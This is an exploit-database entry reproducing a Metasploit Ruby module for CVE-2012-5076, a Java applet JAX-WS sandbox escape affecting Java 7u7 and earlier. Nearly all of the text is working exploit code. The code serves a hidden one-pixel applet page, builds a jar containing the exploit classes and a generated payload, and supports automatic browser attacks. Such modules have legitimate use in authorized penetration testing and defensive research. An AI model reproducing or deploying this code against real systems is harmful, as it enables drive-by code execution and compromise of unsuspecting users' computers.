Java Applet JAX-WS Remote Code Execution Vulnerability

2012-11-13T00:00:00
ID 1337DAY-ID-19724
Type zdt
Reporter metasploit
Modified 2012-11-13T00:00:00

Description

This Metasploit module abuses the JAX-WS classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in November of 2012. The vulnerability affects Java version 7u7 and earlier.

                                        
                                            ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({ :javascript => false })

  def initialize( info = {} )
    super( update_info( info,
      'Name'          => 'Java Applet JAX-WS Remote Code Execution',
      'Description'   => %q{
          This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java
        code outside of the sandbox as exploited in the wild in November of 2012. The
        vulnerability affects Java version 7u7 and earlier.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Unknown', # Vulnerability Discovery
          'juan vazquez' # metasploit module
        ],
      'References'    =>
        [
          [ 'CVE', '2012-5076' ],
          [ 'OSVDB', '86363' ],
          [ 'BID', '56054' ],
          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
          [ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ]
        ],
      'Platform'      => [ 'java', 'win' ],
      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
      'Targets'       =>
        [
          [ 'Generic (Java Payload)',
            {
              'Arch' => ARCH_JAVA,
            }
          ],
          [ 'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          [ 'Linux x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 16 2012'
      ))
  end


  def on_request_uri( cli, request )
    if not request.uri.match(/\.jar$/i)
      if not request.uri.match(/\/$/)
        send_redirect(cli, get_resource() + '/', '')
        return
      end

      print_status("#{self.name} handling request")

      send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
      return
    end

    paths = [
      [ "Exploit.class" ],
      [ "MyPayload.class" ]
    ]

    p = regenerate_payload(cli)

    jar  = p.encoded_jar

    paths.each do |path|
      1.upto(path.length - 1) do |idx|
        full = path[0,idx].join("/") + "/"
        if !(jar.entries.map{|e|e.name}.include?(full))
          jar.add_file(full, '')
        end
      end
      fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2012-5076", path ), "rb")
      data = fd.read(fd.stat.size)
      jar.add_file(path.join("/"), data)
      fd.close
    end

    print_status("Sending Applet.jar")
    send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

    handler( cli )
  end

  def generate_html
    jar_name = rand_text_alpha(rand(6)+3) + ".jar"
    html  = "<html><head></head>"
    html += "<body>"
    html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
    html += "</applet></body></html>"
    return html
  end

end

#  0day.today [2018-04-10]  #